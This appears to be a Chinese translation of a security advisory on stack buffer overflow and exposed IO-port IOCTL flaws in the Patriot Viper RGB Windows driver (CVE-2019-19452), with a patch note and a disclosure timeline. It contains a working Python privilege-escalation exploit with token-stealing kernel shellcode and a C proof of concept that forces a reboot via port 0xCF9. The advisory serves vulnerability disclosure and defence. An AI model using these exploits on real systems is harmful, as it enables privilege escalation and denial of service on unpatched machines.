對 Viper RGB 驅動多個緩沖區溢出漏洞的分析

作者：h1apwn 2020-10-27 09:51:18

安全漏洞

在處理IoControlCode 0x80102040時，在Viper驅動程序RGB 1.1版中發現緩沖區溢出漏洞。

[[348655]]

0x01 漏洞信息

漏洞類型：基于堆棧的緩沖區溢出[ CWE-121 ]，暴露的IOCTL（訪問控制不足）[ CWE-782 ] 影響：代碼執行允許特權提升遠程可利用：否本地可利用：是 CVE名稱： CVE-2019-19452

0x02 漏洞描述

Patriot Memory是一家總部位于美國的技術公司，設計和制造內存模塊，閃存驅動器，移動配件和游戲設備。

在處理IoControlCode 0x80102040時，在Viper驅動程序RGB 1.1版中發現緩沖區溢出漏洞。本地攻擊者可以利用此漏洞，因此獲得NT AUTHORITY \ SYSTEM特權。

IOCTL代碼0x80102050和0x80102054允許具有低特權的用戶從IO端口讀取或向其寫入1/2/4字節。可以通過多種方式來利用它來最終以提升的特權運行代碼。

0x03 安全建議

1.1版和所有以前的版本在每個受支持的Windows版本中都容易受到攻擊（安裝程序：Patriot Viper RGB v1.1.exe）

解決方案和解決方法：

Patriot Memory已發布版本MSIO_191231_v1.2，該版本已修復報告中的漏洞。

這些漏洞是由Core Security Exploit團隊的Ricardo Narvaja和Lucas Dominikow發現的。

0x04 漏洞分析和利用驗證

基于堆棧的緩沖區溢出特權提升

CVE-2019-19452

對版本1.0的漏洞的利用驗證發現了溢出漏洞的存在，該溢出可以覆蓋ZwOpenSection和ZwMapViewOfSection的參數。

1.0版和1.1版之間的二進制代碼差異表明，盡管對這些函數的參數進行了檢查，但先前的溢出漏洞仍存在未進行修補，而CoreLabs在隨后研究中能夠控制其大小。

可以在下面找到有關版本1.0的信息：

https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.md

https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845

在版本1.1中，控制器分析IoControlCodes并到達此位置，將IoControlCode與0x80102040進行比較。

.text:0000000000001518 lea     rcx, aIrpMjDeviceCon ; "IRP_MJ_DEVICE_CONTROL" 
.text:000000000000151F call    DbgPrint 
.text:0000000000001524 mov     r11d, [rbp+18h] 
.text:0000000000001528 cmp     r11d, 80102040h 
.text:000000000000152F jz      loc_16D4

如果比較結果正確，則會調用由CoreLabs控制的MaxCount（要復制的大小）和SRC（源緩沖區）的memmove，沒有進行驗證以確保數據適合目標緩沖區，從而導致堆棧溢出。

.text:00000000000016E8 lea     rcx, [rsp+78h+Src] ; Dst 
.text:00000000000016ED mov     r8, rbx         ; MaxCount 
.text:00000000000016F0 mov     rdx, rsi        ; Src 
.text:00000000000016F3 call    memmove

由于驅動程序尚未使用安全cookie保護函數的堆棧，因此可以成功執行任意代碼。

可以通過調用CreateFileA來獲取驅動程序的句柄，然后通過發送受控數據來調用DeviceIoControl來實現此功能。下面將使用針對Windows 7 SP1 x64設計PoC，演示針對x64版本驅動程序的代碼執行。該代碼將需要改編為其他Windows版本。

有效利用漏洞取決于目標設備和體系結構的細節。例如，在Windows 10中，有SMEP / SMAP和其他特定的緩解措施。

下面看到的PoC漏洞利用演示了此過程，該過程重用了連接套接字以生成shell并在系統上執行任意命令。

#!/usr/bin/env python 
import struct, sys, os 
from ctypes import * 
from ctypes.wintypes import * 
import os 
import struct 
import sys 
from ctypes import wintypes 
  
  
GENERIC_READ = 0x80000000 
GENERIC_WRITE = 0x40000000 
GENERIC_EXECUTE = 0x20000000 
GENERIC_ALL = 0x10000000 
FILE_SHARE_DELETE = 0x00000004 
FILE_SHARE_READ = 0x00000001 
FILE_SHARE_WRITE = 0x00000002 
CREATE_NEW = 1 
CREATE_ALWAYS = 2 
OPEN_EXISTING = 3 
OPEN_ALWAYS = 4 
TRUNCATE_EXISTING = 5 
HEAP_ZERO_MEMORY=0x00000008 
MEM_COMMIT = 0x00001000 
MEM_RESERVE = 0x00002000 
PAGE_EXECUTE_READWRITE = 0x00000040 
  
ntdll = windll.ntdll 
kernel32 = windll.kernel32 
  
ntdll.NtAllocateVirtualMemory.argtypes = [c_ulonglong, POINTER(c_ulonglong), c_ulonglong, POINTER(c_ulonglong),c_ulonglong,c_ulonglong] 
kernel32.WriteProcessMemory.argtypes = [c_ulonglong, c_ulonglong, c_char_p,  c_ulonglong, POINTER(c_ulonglong)] 
  
GetProcAddress = kernel32.GetProcAddress 
GetProcAddress.restype = c_ulonglong 
GetProcAddress.argtypes = [c_ulonglong, wintypes.LPCSTR] 
  
  
GetModuleHandleA = kernel32.GetModuleHandleA 
GetModuleHandleA.restype = wintypes.HMODULE 
GetModuleHandleA.argtypes = [wintypes.LPCSTR] 
  
k32Dll=GetModuleHandleA("kernel32.dll") 
print "0x%X"%(k32Dll) 
  
if (not k32Dll) : 
    print ("[-] Failed To get module handle kernel32.dll\n") 
  
WinExec=GetProcAddress(k32Dll, "WinExec") 
  
print "0x%X"%(WinExec) 
  
if (not WinExec) : 
    print ("[-] Failed To get WinExec address.dll\n") 
  
print "WinExec = 0x%x"%WinExec 
  
raw_input() 
  
  
buf = kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40)) 
  
shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\\x8b\\x81\\x80\\x00\\x00\\x00\\x24\\xf0\\x49\\x89\\x80\\x08\\x02\\x00\\x00\\x48\\x31\\xc0\\x48\\x81\\xc4\\x28\\x01\\x00\x00\xc3"  
  
#STARTS HERE 
written    = c_ulonglong(0) 
dwReturn      = c_ulong() 
hDevice = kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) 
  
  
print "[+] buffer address: 0x%X" % buf 
  
data= "\xeb\x4e" + 0x46  * "A" + struct.pack("<Q",int(buf)) + shellcode 
  
print "%r"%data 
  
kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data))) 
  
bytes_returned = wintypes.DWORD(0) 
h=wintypes.HANDLE(hDevice) 
b=wintypes.LPVOID(buf) 
              
#TRIGGER 
  
dev_ioctl = kernel32.DeviceIoControl(hDevice, 0x80102040, b, 80, None, 0,byref(dwReturn), None) 
  
os.system("calc.exe") 
  
kernel32.CloseHandle(hDevice)

用python 64位執行該代碼后，將顯示具有NT AUTHORITY \ SYSTEM特權的calc。

端口映射的I / O訪問

盡管當前沒有為該漏洞分配CVE，但是如果MITER分配了其他CVE名稱，則將使用其他信息更新本文檔。

我們可以使用IOCTL代碼0x80102050讀取IO端口。

要指定我們要讀取的IO端口以及要讀取的字節大小，必須發送一個精心制作的緩沖區，其中前兩個字節是IO端口，第六個是要讀取的字節數1、2或4。

此外，可以使用IOCTL代碼0x80102054對IO端口進行寫入。另外，必須發送一個精心制作的緩沖區。此緩沖區與讀取的緩沖區非常相似。主要區別在于我們還需要指定要發送到IO端口的數據。該數據可以為1/2/4字節，并從IO端口（3字節起）旁邊開始，在這種情況下，第六個字節將確定要寫入的字節數。

通過讀取/寫入IO端口我們可以實現利用。例如，以下PoC代碼將通過重新引導計算機來導致拒絕服。

#include  
#include  
  
#define IOCTL_READ_IOPORT 0x80102050  
#define IOCTL_WRITE_IOPORT 0x80102054 
  
  
HANDLE GetDriverHandle(LPCSTR driverName) 
{ 
  
    HANDLE hDriver = CreateFile(driverName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 
  
    if (hDriver == INVALID_HANDLE_VALUE) 
    { 
        printf("Failed GetDriverHandle.\nError code:%d\n", GetLastError()); 
        exit(1); 
    } 
  
  
    return hDriver; 
  
} 
  
  
BYTE ReadPort(HANDLE hDriver, unsigned int port) 
{ 
    DWORD inBufferSize = 10; 
    DWORD outBufferSize = 1; 
  
    DWORD bytesReturned = 0; 
  
    LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
    LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  
  
    if (inBuffer == NULL) 
    { 
        printf("Failed to allocate inBuffer %d\n", GetLastError()); 
        return 1; 
    } 
  
    if (outBuffer == NULL) 
    { 
        printf("Failed to allocate outBuffer %d\n", GetLastError()); 
        return 1; 
    } 
  
  
    memcpy((char*)inBuffer, &port, 2); 
    memset((char*)inBuffer + 6, 0x1, 1); 
      
  
    BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_READ_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0); 
  
    if (retDevIoControl == 0) 
    { 
        printf("Failed DeviceIoControl\nError code:%d", GetLastError()); 
        return 1; 
    } 
  
    return (BYTE)(*((char*)outBuffer)); 
} 
  
void WritePort(HANDLE hDriver, unsigned int port, BYTE data) 
{ 
  
    DWORD inBufferSize = 10; 
    DWORD outBufferSize = 1; 
  
    DWORD bytesReturned = 0; 
  
    LPVOID inBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
    LPVOID outBuffer = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 
  
    if (inBuffer == NULL) 
    { 
        printf("Failed to allocate inBuffer %d\n", GetLastError()); 
        exit(1); 
    } 
  
    if (outBuffer == NULL) 
    { 
        printf("Failed to allocate outBuffer %d\n", GetLastError()); 
        exit(1); 
    } 
  
  
  
    memcpy((char*)inBuffer, &port, 2); 
    memcpy((char*)inBuffer + 2, &data, 1); 
    memset((char*)inBuffer + 6, 0x1, 1);  
  
  
  
    BOOL retDevIoControl = DeviceIoControl(hDriver, IOCTL_WRITE_IOPORT, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, 0); 
  
    if (retDevIoControl == 0) 
    { 
        printf("Failed DeviceIoControl\nError code:%d", GetLastError()); 
        exit(1); 
    } 
  
} 
  
  
int main(int argc, char** argv) 
{ 
    LPCSTR driverName = (LPCSTR)"\\\\.\\Msio"; 
  
  
    HANDLE hDriver = GetDriverHandle(driverName); 
  
    BYTE portCF9 = ReadPort(hDriver, 0xcf9) & ~0x6; 
      
    WritePort(hDriver, 0xcf9, portCF9 | 2); 
      
    Sleep(50); 
      
    WritePort(hDriver, 0xcf9, portCF9 | 0xe); // Cold Reboot 
      
  
    CloseHandle(hDriver); 
  
  
    return 0; 
}

0x05 漏洞披露時間表

2019年11月6日– CoreLabs通過support@patriotmem.com向供應商發出了聯系電子郵件，要求披露。

2019年11月26日–通過MITER網站申請CVE，收到申請確認。

2019年11月29日– MITER將CVE-2019-19452分配給第一個漏洞。

2019年12月5日–稱為Patriot Memory HQ（510-979-1021），已通過自動電話系統轉發給技術支持，還留下了留言信息和電子郵件。

2019年12月5日–收到來自賣方的電子郵件，要求進一步的信息。回復了非常基本的描述，并要求在發送POC之前確認此電子郵件是公司的首選公開方法。

2019年12月17日–收到來自供應商Patriot R＆D的電子郵件，其中確認了提交方式并將其命名為主要聯系人，回復了PoC。

2020年1月1日–收到來自供應商的電子郵件，其中附有建議的修復程序。

2020年1月8日–確認補丁程序正確。與供應商確認補丁程序有效，并詢問他們何時發布補丁程序。

2020年1月9日–供應商聲明該補丁最多需要兩周才能發布（2020年1月23日）。

2020年1月16日–通過電子郵件發送給供應商，以確認23日的一切按計劃進行。說明我們打算在24日發布。

2020年1月16日–發現第二個未通過補丁解決的漏洞。新的POC發送給愛國者。

2020年1月20日–收到來自供應商的電子郵件，指出他認為發現第二個漏洞可能會延遲發布有問題的補丁。

2020年2月7日– Tweet由第三方發布在Twitter上，其中包含有關Viper RGB漏洞的信息。CoreLabs驗證了推文中的信息是否正確，數據現在處于公開狀態。

2020年2月8日–向MITRE請求第二個漏洞的CVE身份。

2020年2月8日–向Patriot請求第二個漏洞的補丁程序狀態，并告知他們該信息現已在Twitter上公開。

2020年2月10日–Patriot回應說，第二個漏洞目前沒有補丁。

2020年2月12日–告知Patriot，隨著有關漏洞的信息公開，CoreLabs計劃在2020年2月17日發布，除非在2020年2月14日之前收到進一步的溝通。

2020年2月17日–已發布咨詢CORE-2020-0001。

參考信息：

https://www.viper.patriotmemory.com/viperrgbdramsoftware

https://www.coresecurity.com/contact

本文翻譯自：https://www.coresecurity.com/advisories/viper-rgb-driver-multiple-vulnerabilities?source=twitter&code=CMP-0000001929&ls=100000000&utm_campaign=core-cts-emails&utm_content=117968468&utm_medium=social&utm_source=twitter&hss_channel=tw-17157238如若轉載，請注明原文地址。

責任編輯：姜華來源：嘶吼網

漏洞